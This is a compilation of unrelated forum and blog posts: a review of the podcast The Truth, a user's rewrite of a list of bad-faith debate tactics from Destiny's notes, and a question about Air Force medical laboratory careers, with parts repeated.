The Truth was an anthology in the purest sense of the word. Each episode was a new present to unwrap. It spanned multiple genres and styles. The early years did tend to be a bit more experimental in terms of material. I had the opportunity to chat with series creator Jonathan Mitchell. Jonathan described these early episodes as scenes rather than stories. True, they are certainly shorter than later episodes, but that’s hardly a bad thing. Each of them was like a snapshot into a different life, and they were certainly memorable snapshots. I’m not the only one who is of this opinion. Many episodes from this era of The Truth were featured on various programs such as All Things Considered, Weekend America, Planet Money, This American Life, and Studio 360. Eventually, the need to pay the bills came knocking. So, the episodes began to favor longer stories in order to provide more space for ad breaks. Now, some people say this was the era when The Truth went into decline. Personally, I strongly disagree. There were still many quality episodes being produced.
The real decline, ironically, was around the time The Truth celebrated its tenth anniversary. Well, maybe not entirely ironically. I have noticed that many anthology podcasts tend to start going stale around the ten year mark. It was at this point the misses started to outnumber the hit. Now, to be fair, there were still a few diamonds in the rough. That being said, it was clear that the writers’ well of inspiration was starting to run dry. The episodes also increasingly had the same feel to them. The decline of The Truth didn’t come with a bang, but with a whimper.
It is certainly sad that the curtain has finally fallen on The Truth. No show can last forever. Eventually, if you smolder well past your time, you will see a steady decline in quality. In the immortal words of Harvey Dent, you either die a hero, or you live long enough to see yourself become the villain. I certainly hope that The Truth is always remember for what it was, rather than the decline it saw during its final season.
And that, my friends, is what this review is all about. We are going to celebrate The Truth in all its myriad ways. From those early “snapshots of a life” episodes, to the more full-length episodes. We will also look at a few less than stellar episodes. They can make for a good teaching moment about what not to do.
This is merely part one. I’ll be making a part two, so be on the lookout for that in the near future. I wouldn’t be surprised if there’s part three eventually.
But I wanted to start off with a good solid foundation. To that end, I reviewed the episodes “Moon Graffiti”, “Eat Cake”, “That’s Democracy”, “Do You Have a Minute for Equality”, “Brain Chemistry”, “Fish Girl”, and “Mall Santa.”
Like I said, this just the start. More to come in the future.
Have you listened to The Truth? If so, what did you think?
Link to the full review is over here: http://drakoniandgriffalco.blogspot.com/2024/05/the-audio-file-truth-part-1.html?m=0
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The Truth was an anthology in the purest sense of the word. Each episode was a new present to unwrap. It spanned multiple genres and styles. The early years did tend to be a bit more experimental in terms of material. I had the opportunity to chat with series creator Jonathan Mitchell. Jonathan described these early episodes as scenes rather than stories. True, they are certainly shorter than later episodes, but that’s hardly a bad thing. Each of them was like a snapshot into a different life, and they were certainly memorable snapshots. I’m not the only one who is of this opinion. Many episodes from this era of The Truth were featured on various programs such as All Things Considered, Weekend America, Planet Money, This American Life, and Studio 360. Eventually, the need to pay the bills came knocking. So, the episodes began to favor longer stories in order to provide more space for ad breaks. Now, some people say this was the era when The Truth went into decline. Personally, I strongly disagree. There were still many quality episodes being produced.
The real decline, ironically, was around the time The Truth celebrated its tenth anniversary. Well, maybe not entirely ironically. I have noticed that many anthology podcasts tend to start going stale around the ten year mark. It was at this point the misses started to outnumber the hit. Now, to be fair, there were still a few diamonds in the rough. That being said, it was clear that the writers’ well of inspiration was starting to run dry. The episodes also increasingly had the same feel to them. The decline of The Truth didn’t come with a bang, but with a whimper.
It is certainly sad that the curtain has finally fallen on The Truth. No show can last forever. Eventually, if you smolder well past your time, you will see a steady decline in quality. In the immortal words of Harvey Dent, you either die a hero, or you live long enough to see yourself become the villain. I certainly hope that The Truth is always remember for what it was, rather than the decline it saw during its final season.
And that, my friends, is what this review is all about. We are going to celebrate The Truth in all its myriad ways. From those early “snapshots of a life” episodes, to the more full-length episodes. We will also look at a few less than stellar episodes. They can make for a good teaching moment about what not to do.
This is merely part one. I’ll be making a part two, so be on the lookout for that in the near future. I wouldn’t be surprised if there’s part three eventually.
But I wanted to start off with a good solid foundation. To that end, I reviewed the episodes “Moon Graffiti”, “Eat Cake”, “That’s Democracy”, “Do You Have a Minute for Equality”, “Brain Chemistry”, “Fish Girl”, and “Mall Santa.”
Like I said, this just the start. More to come in the future.
Have you listened to The Truth? If so, what did you think?
Link to the full review is over here: http://drakoniandgriffalco.blogspot.com/2024/05/the-audio-file-truth-part-1.html?m=0
2024.05.21 18:29 FinalOpus I edited Destiny's notes on "Debate Pervertry"
Inspired by a shitpost mocking Destiny's misuse of "who's," I figured I'd see what else was out there and goddamn. Obviously, I think that the work Destiny is doing to expose common debate strategies or logical fallacies is important, but reading through the section in his notes triggered my grammatical autism. I felt like an outside party reading through it would be a bit confused by some of the wording, so I tried my best to rework this section in a way that would be more clear to the average reader.
I'll edit other sections as well if this doesn't get me banned lmao
Debate Pervertry
1.When you accuse the other side of saying a thing, and instead of allowing the other side to explain or clarify, you immediately launch in on an attack of that particular thing.
1. Quote your opponent without context and immediately attack this statement without allowing the opponent to provide clarification.
2."Show, don't tell."
When you constantly refer to other books, speakers, videos, etc..."sources of authority" that you claim to be familiar with, without contextualizing or demonstrating an understanding of any of that underlying material. You are substituting an appeal to authority for an actual argument.
2. "Show, don't tell."
Substitute a mere reference to a book, speaker, video, etc. in the place of demonstrating your own understanding or synthesis of this source material. Invoke the name of an expert instead of using their work to shape your own argument.
3. When you intentionally say the name of your interlocutor incorrectly.
3. Intentionally referring to your opponent by an incorrect name (please god call this the Bournelli Identity please please)**
5."The Clown Mirror"
Your opponent never seeming to be able to summarize your position, ever. You constantly having to criticize or refuse to accept ANY other characterization of your position.
5. "The Clown Mirror"
The refusal to accept your opponent's summary of your position. Never acknowledge a good faith attempt at characterizing your position under any circumstances.
6.The "Lazy Gardener," or, "Let's not get in the weeds" strategy
Oftentimes, when the opposition is lacking a thorough understanding of what's being said, they will oftentimes attempt to obfuscate away from crucial details by claiming that they "don't want to get into the weeds" or "don't want to get into technicalities", even though these particularly technicalities might be essential to justifying or attacking a particular argument.
6. The "Lazy Gardener," or "Let's not get into the weeds" strategy
When pressed by your opponent on crucial details of your position, brush aside an in-depth discussion of the issue and state "I don't want to get in the weeds" or "let's not get bogged down by technicalities." Dismiss crucial details as distractions to avoid betraying your own surface-level understanding of an issue.
7.The "Deaf Preacher"
When you refuse to engage with the argument and you just make big sweeping moral/virtue signal statements while avoiding any factual response to what was previously said.
7. The "Deaf Preacher"
Launch into a sweeping moral diatribe, praising your own virtues and/or attacking the morals of your opponent. Ignore any statements by your opposition and continue your sermon unphased.
8."Debate Edging"
When you constantly stack descriptive claims one over another that are clearly leading into a certain prescription that you never actually verbalize, causing other people to attack you on a prescriptive claim you've never made and allowing you to refute their arguments without addressing the obvious implications of what you're saying.
8. "Debate Edging"
Stack descriptive statements in such a manner that would lead an average audience to logically assume a prescription without actually saying it directly. Should your opponent assume this prescription as well, ignore the implications of your statements and attack the opponent for making an (oftentimes very reasonable) assumption.
9."Occam's Mallet"
When someone suggests that simply because a party benefited from something (or because they had something to gain something failing) that there must have been some sort of cohesive plot or scheme in order to bring about that particular thing, often involving highly subversive and unethical means.
9. "Occam's Mallet"
Attribute a plot, scheme, or conspiracy to any party which received a benefit from an action or event. Lead the audience to believe that no material benefit can exist without subversive and unethical tactics.
10."Moral Dodgeball"
Accusing someone of holding a different core value simply because you disagree with an applied position that they have.
10."Moral Dodgeball"
Accuse your opponent of holding a different core value simply because you disagree with an applied position they have. (Nothing really to change here!)
11."Robinhood Complex"
Always siding with the less powerful entity in any conflict, simply due to the amount of power both sides are capable of exercising.
11. "Robinhood Complex"
Take the side of the less powerful entity in any conflict by default. Ignore any complicating variables or extenuating circumstances and reduce the issue to an imbalance of power dynamics alone.
12."The Braveheart"
When someone poses a question about how a person should respond in a situation, where it's obvious that the person would need to act in a certain way to protect their interests, but the more privileged debater responds with "Personally, I wouldn't do this..." instead of acknowledging the need for the affected party to respond and protect their interests in a particular way.
When someone does something that you do exactly and then you accuse them of being weird when they do it, e.g. making clips/compilations of what the other person does and then the other community creates something in response.
13. "You're being so weird/obsessed!" (or "Pot, meet Kettle")
Mislead your audience through clips or compilations of your opponent, yet dismiss the opponent as being obsessive should they or their audience respond to your characterization with clips or compilations of their own.
14."Death by a thousand anecdotes"
When someone is incapable of pushing back factually against a heavily data-driven argument and instead relies upon personal (or popular) anecdotes, or unrelated data, to make their point.
14. "Death by a thousand anecdotes"
If your opponent attacks your argument with data, tell a series of personal anecdotes or popular stories rather than provide data of your own.
15. "Tragedy of the Commons Sense"
Basically any time someone invokes common sense because they're unable to explain or justify their position in any other way.
15. Tragedy of the Common Sense"
If unable to explain or justify your position in any way, claim that your argument is simply "common sense" and refuse to elaborate further.
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I'll edit other sections as well if this doesn't get me banned lmao
Debate Pervertry
1.When you accuse the other side of saying a thing, and instead of allowing the other side to explain or clarify, you immediately launch in on an attack of that particular thing.
1. Quote your opponent without context and immediately attack this statement without allowing the opponent to provide clarification.
2."Show, don't tell."
When you constantly refer to other books, speakers, videos, etc..."sources of authority" that you claim to be familiar with, without contextualizing or demonstrating an understanding of any of that underlying material. You are substituting an appeal to authority for an actual argument.
2. "Show, don't tell."
Substitute a mere reference to a book, speaker, video, etc. in the place of demonstrating your own understanding or synthesis of this source material. Invoke the name of an expert instead of using their work to shape your own argument.
3. When you intentionally say the name of your interlocutor incorrectly.
3. Intentionally referring to your opponent by an incorrect name (please god call this the Bournelli Identity please please)**
5."The Clown Mirror"
Your opponent never seeming to be able to summarize your position, ever. You constantly having to criticize or refuse to accept ANY other characterization of your position.
5. "The Clown Mirror"
The refusal to accept your opponent's summary of your position. Never acknowledge a good faith attempt at characterizing your position under any circumstances.
6.The "Lazy Gardener," or, "Let's not get in the weeds" strategy
Oftentimes, when the opposition is lacking a thorough understanding of what's being said, they will oftentimes attempt to obfuscate away from crucial details by claiming that they "don't want to get into the weeds" or "don't want to get into technicalities", even though these particularly technicalities might be essential to justifying or attacking a particular argument.
6. The "Lazy Gardener," or "Let's not get into the weeds" strategy
When pressed by your opponent on crucial details of your position, brush aside an in-depth discussion of the issue and state "I don't want to get in the weeds" or "let's not get bogged down by technicalities." Dismiss crucial details as distractions to avoid betraying your own surface-level understanding of an issue.
7.The "Deaf Preacher"
When you refuse to engage with the argument and you just make big sweeping moral/virtue signal statements while avoiding any factual response to what was previously said.
7. The "Deaf Preacher"
Launch into a sweeping moral diatribe, praising your own virtues and/or attacking the morals of your opponent. Ignore any statements by your opposition and continue your sermon unphased.
8."Debate Edging"
When you constantly stack descriptive claims one over another that are clearly leading into a certain prescription that you never actually verbalize, causing other people to attack you on a prescriptive claim you've never made and allowing you to refute their arguments without addressing the obvious implications of what you're saying.
8. "Debate Edging"
Stack descriptive statements in such a manner that would lead an average audience to logically assume a prescription without actually saying it directly. Should your opponent assume this prescription as well, ignore the implications of your statements and attack the opponent for making an (oftentimes very reasonable) assumption.
9."Occam's Mallet"
When someone suggests that simply because a party benefited from something (or because they had something to gain something failing) that there must have been some sort of cohesive plot or scheme in order to bring about that particular thing, often involving highly subversive and unethical means.
9. "Occam's Mallet"
Attribute a plot, scheme, or conspiracy to any party which received a benefit from an action or event. Lead the audience to believe that no material benefit can exist without subversive and unethical tactics.
10."Moral Dodgeball"
Accusing someone of holding a different core value simply because you disagree with an applied position that they have.
10."Moral Dodgeball"
Accuse your opponent of holding a different core value simply because you disagree with an applied position they have. (Nothing really to change here!)
11."Robinhood Complex"
Always siding with the less powerful entity in any conflict, simply due to the amount of power both sides are capable of exercising.
11. "Robinhood Complex"
Take the side of the less powerful entity in any conflict by default. Ignore any complicating variables or extenuating circumstances and reduce the issue to an imbalance of power dynamics alone.
12."The Braveheart"
When someone poses a question about how a person should respond in a situation, where it's obvious that the person would need to act in a certain way to protect their interests, but the more privileged debater responds with "Personally, I wouldn't do this..." instead of acknowledging the need for the affected party to respond and protect their interests in a particular way.
- "The Braveheart" (I'm actually having a really hard time figuring this one out. Anyone willing to help me out here?)
When someone does something that you do exactly and then you accuse them of being weird when they do it, e.g. making clips/compilations of what the other person does and then the other community creates something in response.
13. "You're being so weird/obsessed!" (or "Pot, meet Kettle")
Mislead your audience through clips or compilations of your opponent, yet dismiss the opponent as being obsessive should they or their audience respond to your characterization with clips or compilations of their own.
14."Death by a thousand anecdotes"
When someone is incapable of pushing back factually against a heavily data-driven argument and instead relies upon personal (or popular) anecdotes, or unrelated data, to make their point.
14. "Death by a thousand anecdotes"
If your opponent attacks your argument with data, tell a series of personal anecdotes or popular stories rather than provide data of your own.
15. "Tragedy of the Commons Sense"
Basically any time someone invokes common sense because they're unable to explain or justify their position in any other way.
15. Tragedy of the Common Sense"
If unable to explain or justify your position in any way, claim that your argument is simply "common sense" and refuse to elaborate further.
2024.05.21 18:28 RandomAccount7489 Biomedical laboratory officer vs. medical laboratory
I'm currently in school pursing a B.S. in Medical Laboratory Science (MLS) and considering joining the Air Force or Navy at some point. I see these two careers, the biomedical laboratory officer (43TX, https://www.airforce.com/careers/healthcare/biomedical-laboratory-officer) and enlisted medical laboratory (4T0X1, https://www.airforce.com/careers/healthcare/medical-laboratory) on the website.
Looking at the "what you'll do" section of each, the enlisted version has a much closer description to what I am currently in school for. In other words, I could apply to that right now without being a certified MLS and be working in the various lab departments doing specimen processing, testing, quality control, etc.
The biomedical laboratory officer requires the degree I am pursuing but the description isn't exactly what I expected. But if I did apply, this is probably what I would end up choosing
So then my list of questions:
Why am I required to get a degree in MLS or why does the Air Force not require a degree for it?
Is the Air Force just desperate for lab professionals?
And what does a biomedical laboratory officer do? Is it more the equivalent of a lab manager or lab director or something else? The "what you'll do" section makes it seem like they're a consultant, lab worker, and pharmacy worker.
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Looking at the "what you'll do" section of each, the enlisted version has a much closer description to what I am currently in school for. In other words, I could apply to that right now without being a certified MLS and be working in the various lab departments doing specimen processing, testing, quality control, etc.
The biomedical laboratory officer requires the degree I am pursuing but the description isn't exactly what I expected. But if I did apply, this is probably what I would end up choosing
So then my list of questions:
Why am I required to get a degree in MLS or why does the Air Force not require a degree for it?
Is the Air Force just desperate for lab professionals?
And what does a biomedical laboratory officer do? Is it more the equivalent of a lab manager or lab director or something else? The "what you'll do" section makes it seem like they're a consultant, lab worker, and pharmacy worker.